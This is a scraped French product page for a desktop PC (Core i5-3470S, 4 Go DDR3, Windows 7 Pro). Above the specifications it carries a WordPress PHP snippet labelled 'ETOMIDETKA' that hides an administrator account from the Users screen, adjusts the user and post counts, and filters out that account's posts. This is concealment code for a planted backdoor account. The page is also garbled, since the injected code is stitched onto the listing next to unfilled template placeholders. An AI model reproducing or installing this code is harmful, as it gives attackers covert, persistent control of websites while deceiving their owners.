//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
#Titre Produit | #Titre du site
Processeur Intel® Core i5-3470S 2.9 GHz
6 Mo de Mémoire cache
Mémoire 4 Go DDR3
Disque 500 Go SATA
Ecran 20" TFT
Graphique Intel HD
Système d'exploitation Windows 7 Pro
Description
Processeur
Type Processeur
Intel® Core i5-3470S
Vitesse Processeur
2.9 GHz
Mémoire Cache
6 Mo
Chassis
Carte mère
Chipset
Intel® Q75 Express
Mémoire
Mémoire Installé
4 Go
Type Mémoire
DDR3 1600 MHz
Disque
Capacité
500 Go
Connectique
SATA
Nombre de tours
7200 tours/min
Lecteurs
Type Lecteur optique
Graveur DVD SuperMulti SATA
Contrôleur graphique
Type Controleur Graphique
Intel HD
Carte audio (SON)
Type carte son
Audio haute définition avec codec Realtek ALC221 (tous les ports sont stéréo)
Slots
Slots
1 emplacement PCI pleine hauteur
2 emplacements PCIe pleine hauteur
1 emplacement PCIe pleine hauteurx16
Ecran
Réseau
Type réseau
Gigabit Intel 82579LM
Ports
USB
6 ports USB 2.0
4 ports USB 3.0
Série
1 port Série
RJ45
1 RJ-45
PS2
2 ports PS/2
Audio In
1 Audio In
Audio out
1 Audio Out
Microphone
1 Microphone
Casque
1 port de sortie casque
Système d'exploitation
Version Système d'Exploitation
Windows 7 Pro
Garantie
© 2013 NEWTECHNOLOGIE | Tous droits réservés |
SHYRINEPROD .